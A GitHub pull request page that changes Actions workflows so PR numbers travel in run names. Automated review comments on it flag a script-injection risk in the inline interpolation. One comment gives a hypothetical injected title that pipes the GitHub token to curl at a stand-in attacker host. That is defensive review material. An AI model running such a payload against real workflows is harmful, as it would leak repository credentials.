Skip to content

fix: auto-fix PR discovery via run-name embedding #757

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Merged
PureWeen merged 1 commit into from
Apr 23, 2026
Merged

fix: auto-fix PR discovery via run-name embedding #757

Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
1 commit
Select commit
File filter

Filter by extension

Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
9 changes: 5 additions & 4 deletions .github/workflows/auto-fix-on-failure.yml
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -30,14 +30,15 @@ jobs:
BRANCH="${{ github.event.workflow_run.head_branch }}"
FAILED_WORKFLOW="${{ github.event.workflow_run.name }}"
FAILED_RUN="${{ github.event.workflow_run.id }}"
DISPLAY_TITLE="${{ github.event.workflow_run.display_title }}"
Copy link
Copy Markdown
Contributor

@github-actions github-actions Bot Apr 23, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🟡 MODERATE — Script injection pattern via $\{\{ }} in shell context

$\{\{ github.event.workflow_run.display_title }} is interpolated directly into the run: script before the shell executes. This is the well-documented anti-pattern that can lead to script injection if the interpolated value ever contains shell metacharacters (", `, $, \).

Current risk is low because:

  • Only verify-build.yml and polypilot-integration.yml can trigger this (locked by workflows: filter)
  • Their run-name only embeds inputs.pr_number, which is type: number — GitHub validates it's numeric
  • So the actual display_title will only ever be something like Verify Build — PR #757

Failing scenario (theoretical): If a future workflow added to the workflows: list included untrusted user input in its run-name, an attacker could craft a display title like " ; curl attacker.com/steal?t=$GH_TOKEN ; echo " and it would execute.

Suggested hardening — pass it as an environment variable instead of $\{\{ }} interpolation:

env:
  DISPLAY_TITLE: $\{\{ github.event.workflow_run.display_title }}
run: |
  # ... use $DISPLAY_TITLE (already safe since env vars aren't subject to shell parsing at assignment)

This would make the step robust regardless of what display_title contains.

Copy link
Copy Markdown
Contributor

@github-actions github-actions Bot Apr 23, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🟡 MODERATE — Script injection via inline expression expansion (Flagged by: 2/3 reviewers)

$\{\{ github.event.workflow_run.display_title }} is expanded by GitHub Actions before bash runs — the value is baked literally into the shell script source. If display_title ever contains shell metacharacters (", `, $(), ;), it can escape the double-quoted assignment and execute arbitrary code.

Current risk is low because pr_number has type: number in both triggering workflows, constraining display_title to safe characters. However, this relies on GitHub's type validation as the sole defense — no defense-in-depth.

Suggested fix — pass through env: so the value is never interpolated into script source:

- name: Find associated PR
  id: find-pr
  env:
    DISPLAY_TITLE: $\{\{ github.event.workflow_run.display_title }}
  run: |
    ...
    echo "Display title: $DISPLAY_TITLE"
    PR_NUMBER=$(echo "$DISPLAY_TITLE" | grep -oP 'PR #\K[0-9]+' || true)

The same pattern applies to the existing BRANCH and FAILED_WORKFLOW variables (pre-existing, not introduced by this PR).

echo "Branch: $BRANCH"
echo "Failed workflow: $FAILED_WORKFLOW"
echo "Failed run: $FAILED_RUN"
echo "Display title: $DISPLAY_TITLE"

# workflow_dispatch runs execute on main but carry the PR number
# in their inputs. Try reading it from the API first.
PR_NUMBER=$(gh api "repos/${{ github.repository }}/actions/runs/$FAILED_RUN" \
--jq '.inputs.pr_number // empty' 2>/dev/null || true)
# The dispatching workflow embeds "PR #NNN" in run-name.
# Parse it from the display title first.
Copy link
Copy Markdown
Contributor

@github-actions github-actions Bot Apr 23, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🟢 MINOR — grep -oP relies on Perl regex (PCRE), not universally available

grep -oP 'PR #\K[0-9]+' uses the -P flag for Perl-compatible regex. This works on ubuntu-latest (GNU grep compiled with PCRE support) but would silently fail on macOS runners (BSD grep has no -P flag). The || true swallows the error and falls through to branch-based lookup.

Current risk: negligible — this job is pinned to ubuntu-latest and is unlikely to change. The || true also provides a graceful fallback.

If portability is ever desired, a POSIX-compatible alternative:

PR_NUMBER=$(echo "$DISPLAY_TITLE" | sed -n 's/.*PR #\([0-9]*\).*/\1/p' || true)

PR_NUMBER=$(echo "$DISPLAY_TITLE" | grep -oP 'PR #\K[0-9]+' || true)
Copy link
Copy Markdown
Contributor

@github-actions github-actions Bot Apr 23, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🟢 MINOR — grep -oP requires GNU grep (not portable to macOS) (Flagged by: 3/3 reviewers)

grep -oP uses Perl-compatible regex (\K lookbehind), which is only available in GNU grep. This workflow runs on ubuntu-latest where GNU grep is installed, so it works today. However:

  • If the runner were ever changed to macos-*, BSD grep rejects -P with an error, || true swallows it, PR_NUMBER silently becomes empty, and the fallback branch lookup takes over.
  • If a future Ubuntu image ships a grep build without PCRE support, the same silent failure occurs.

Not a current bug, but a portability concern. A POSIX-compatible alternative if desired:

PR_NUMBER=$(echo "$DISPLAY_TITLE" | grep -oE 'PR #[0-9]+' | grep -oE '[0-9]+' | head -1 || true)

Or using bash built-in regex:

[[ "$DISPLAY_TITLE" =~ PR\ #([0-9]+) ]] && PR_NUMBER="\$\{BASH_REMATCH[1]}" || PR_NUMBER=""


# Fall back to branch-based lookup for push/PR-triggered runs
if [ -z "$PR_NUMBER" ]; then
Expand Down
1 change: 1 addition & 0 deletions .github/workflows/polypilot-integration.yml
View file
Open in desktop
Original file line number Diff line number Diff line change
@@ -1,4 +1,5 @@
name: "PolyPilot Integration Test"
run-name: "PolyPilot Integration Test${{ inputs.pr_number && format(' — PR #{0}', inputs.pr_number) || '' }}"

on:
workflow_dispatch:
Expand Down
1 change: 1 addition & 0 deletions .github/workflows/verify-build.yml
View file
Open in desktop
Original file line number Diff line number Diff line change
@@ -1,4 +1,5 @@
name: Verify Build (Cross-Platform)
run-name: "Verify Build${{ inputs.pr_number && format(' — PR #{0}', inputs.pr_number) || '' }}"

on:
workflow_dispatch:
Expand Down
Loading